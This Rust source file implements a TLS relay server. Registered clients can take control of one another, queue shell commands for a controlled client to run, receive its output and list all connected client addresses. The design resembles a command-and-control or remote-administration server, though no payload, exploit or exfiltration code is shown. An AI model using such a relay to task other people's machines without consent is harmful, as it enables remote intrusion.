use rcgen::generate_simple_self_signed;
use std::error::Error;
use std::fs::File;
use std::fs::write;
use std::io::BufReader;
use std::net::SocketAddr;
use std::path::PathBuf;
use std::sync::{Arc, Mutex};
use std::usize;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
use tokio_rustls::TlsAcceptor;
use tokio_rustls::rustls::ServerConfig;
use tokio_rustls::rustls::pki_types::{CertificateDer, PrivateKeyDer};

#[derive(Clone)]
enum ClientAction {
    Output(String),
    Cmd(String),
    Ping,
}

pub struct Client {
    address: String,
    id: usize,
    hostname: Option<String>,
    actions: Vec<ClientAction>,
    controlling: usize,
    controlled: usize,
    output_que: Vec<String>,
}

pub struct Server {
    pub address: String,
    pub clients: Vec<Client>,
    pub certificate_path: PathBuf,
    pub key_path: PathBuf,
}

pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
    let lock = server.lock().unwrap();
    if !lock.certificate_path.exists() || !lock.key_path.exists() {
        let (server_ip, _) = lock.address.split_once(':').unwrap();

        let cert = generate_simple_self_signed(vec![
            server_ip.to_string(),
            "127.0.0.1".to_string(),
            "localhost".to_string(),
        ])?;

        write(&lock.certificate_path, cert.cert.pem())?;

        write(&lock.key_path, cert.signing_key.serialize_pem())?;
    }

    let certs = load_certs(&lock.certificate_path)?;
    let key = load_key(&lock.key_path)?;

    let tls_config = ServerConfig::builder()
        .with_no_client_auth()
        .with_single_cert(certs, key)?;

    let acceptor = TlsAcceptor::from(Arc::new(tls_config));

    let listener = TcpListener::bind(lock.address.clone()).await?;

    println!("Listening on {}", lock.address);

    drop(lock);

    loop {
        let (stream, addr) = listener.accept().await?;

        let acceptor = acceptor.clone();
        let server = server.clone();

        tokio::spawn(async move {
            let mut peek = [0u8; 8];
            if let Ok(n) = stream.peek(&mut peek).await {
                if n >= 8 && &peek[..8] == b"CERT_REQ" {
                    handle_bootstrap(server, stream).await;
                    return;
                }
            }
            match acceptor.accept(stream).await {
                Ok(tls_stream) => {
                    handle_connection_stat9ic(server, tls_stream, addr).await;
                }

                Err(e) => {
                    eprintln!("TLS handshake failed: {}", e);
                }
            }
        });
    }
}

fn load_certs(path: &std::path::Path) -> Result<Vec<CertificateDer<'static>>, Box<dyn Error>> {
    let mut reader = BufReader::new(File::open(path)?);

    Ok(rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?)
}

fn load_key(path: &std::path::Path) -> Result<PrivateKeyDer<'static>, Box<dyn Error>> {
    let mut reader = BufReader::new(File::open(path)?);

    let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?;

    Ok(key)
}

async fn handle_bootstrap(server: Arc<Mutex<Server>>, mut stream: TcpStream) {
    let mut buf = [0u8; 1024];
    let n = match stream.read(&mut buf).await {
        Ok(n) => n,
        Err(_) => return,
    };
    if n == 0 {
        return;
    }
    let msg = String::from_utf8_lossy(&buf[..n]);
    if msg.trim() != "CERT_REQ" {
        return;
    }
    let cert_path = {
        let lock = server.lock().unwrap();
        lock.certificate_path.clone()
    };
    let cert_pem = match std::fs::read_to_string(cert_path) {
        Ok(c) => c,
        Err(_) => return,
    };
    let response = format!("CERT|{}\n", cert_pem);
    let _ = stream.write_all(response.as_bytes()).await;
}

async fn handle_connection_stat9ic<S>(server: Arc<Mutex<Server>>, mut stream: S, addr: SocketAddr)
where
    S: AsyncRead + AsyncWrite + Unpin,
{
    let mut buf = vec![0u8; 4096];
    let n = match stream.read(&mut buf).await {
        Ok(n) => n,
        Err(e) => {
            eprintln!("Read Error: {e}");
            return;
        }
    };
    if n == 0 {
        return;
    }
    let msg = String::from_utf8_lossy(&buf[..n]);
    if msg.contains("HELLO") {
        let mut connected = false;
        let mut id = 0;
        if let Ok(mut lock) = server.lock() {
            let new_client = Client {
                address: addr.to_string(),
                id: lock.clients.len() + 1,
                hostname: None,
                actions: Vec::new(),
                controlled: 0,
                controlling: 0,
                output_que: Vec::new(),
            };
            connected = true;
            id = new_client.id.clone();
            lock.clients.push(new_client);
        }
        if connected {
            stream
                .write_all(format!("HELLO|{}\n", id).as_bytes())
                .await
                .unwrap();
            println!("client connected! ID:{}", id,);
        }
    } else {
        if let Some((source, data)) = msg.split_once("|||") {
            if let Ok(source_id) = source.trim().parse::<usize>() {
                let mut responses = Vec::new();
                if let Ok(mut lock) = server.lock() {
                    if let Some(source_client) = lock.clients.iter_mut().find(|c| c.id == source_id)
                    {
                        responses = source_client.actions.clone();
                    }
                    data.split("||").into_iter().for_each(|action| {
                        if let Some((cmd, data)) = action.split_once("|") {
                            match cmd.trim() {
                                "OUTPUT" => {
                                    if let Some(dest_client) =
                                        lock.clients.iter_mut().find(|c| c.controlling == source_id)
                                    {
                                        dest_client.actions.push(ClientAction::Output(format!(
                                            "from {}: {}",
                                            dest_client.id,
                                            data.trim()
                                        )));
                                    } else {
                                        if let Some(source_client) =
                                            lock.clients.iter_mut().find(|c| c.id == source_id)
                                        {
                                            source_client.output_que.push(data.trim().to_string());
                                        }
                                    }
                                }
                                "CMD" => {
                                    if let Some(dest_client) =
                                        lock.clients.iter_mut().find(|c| c.controlled == source_id)
                                    {
                                        dest_client
                                            .actions
                                            .push(ClientAction::Cmd(data.to_string()));
                                        responses.push(ClientAction::Output(format!(
                                            "tasked client {} to run {}",
                                            dest_client.id, cmd
                                        )));
                                    }
                                }
                                "CONTROL" => {
                                    let new_control_id = data.trim().parse::<usize>().unwrap();
                                    if let Some(controlling_client) =
                                        lock.clients.iter_mut().find(|c| c.id == source_id)
                                    {
                                        controlling_client.controlling = new_control_id.clone();
                                    }
                                    if let Some(contlled_client) =
                                        lock.clients.iter_mut().find(|c| c.id == new_control_id)
                                    {
                                        contlled_client.controlled = source_id;
                                    } else {
                                        if let Some(controlling_client) =
                                            lock.clients.iter_mut().find(|c| c.id == source_id)
                                        {
                                            controlling_client.controlling = 0;
                                        }
                                    }
                                }
                                "STOP_CONTROL" => {
                                    if let Some(source_client) =
                                        lock.clients.iter_mut().find(|c| c.id == source_id)
                                    {
                                        if source_client.controlling != 0 {
                                            let dest_client_id = source_client.controlling.clone();
                                            if let Some(dest_client) = lock
                                                .clients
                                                .iter_mut()
                                                .find(|c| c.id == dest_client_id)
                                            {
                                                dest_client.controlled = 0;
                                            }
                                        }
                                    }
                                }
                                "BREAK_CONTROL" => {
                                    if let Some(source_client) =
                                        lock.clients.iter_mut().find(|c| c.id == source_id)
                                    {
                                        if source_client.controlled != 0 {
                                            let dest_id = source_client.controlled.clone();
                                            source_client.controlled = 0;
                                            if let Some(dest_client) =
                                                lock.clients.iter_mut().find(|c| c.id == dest_id)
                                            {
                                                dest_client.controlling = 0;
                                            }
                                        }
                                    }
                                }
                                "LIST_CLIENTS" => {
                                    lock.clients.iter().for_each(|c| {
                                        let out = format!("{}: {}", c.id, c.address);
                                        println!("client list requested!");
                                        println!("adding {} to response...", out);
                                        responses.push(ClientAction::Output(out));
                                    });
                                }
                                "TEST" => {
                                    responses.push(ClientAction::Output("TEST BACK".to_string()));
                                }
                                _ => {}
                            }
                        }
                    });
                }
                if responses.len() > 0 {
                    let mut messages = Vec::new();
                    for r in responses {
                        match r {
                            ClientAction::Cmd(cmd) => {
                                messages.push(format!("CMD|{}", cmd));
                            }
                            ClientAction::Output(text) => {
                                println!("adding {} to output", text);
                                messages.push(format!("OUTPUT|{}", text));
                            }
                            ClientAction::Ping => {
                                messages.push(format!("PONG"));
                            }
                        }
                    }
                    let full_message = messages.join("||");
                    println!("attempting to send {}", full_message);
                    let buf = full_message.as_bytes();
                    stream.write(buf).await.unwrap();
                    println!("buffer written!");
                    if let Ok(mut lock) = server.lock() {
                        if let Some(source_client) =
                            lock.clients.iter_mut().find(|c| c.id == source_id)
                        {
                            source_client.actions.clear();
                        }
                    }
                }
            }
        }
    }
}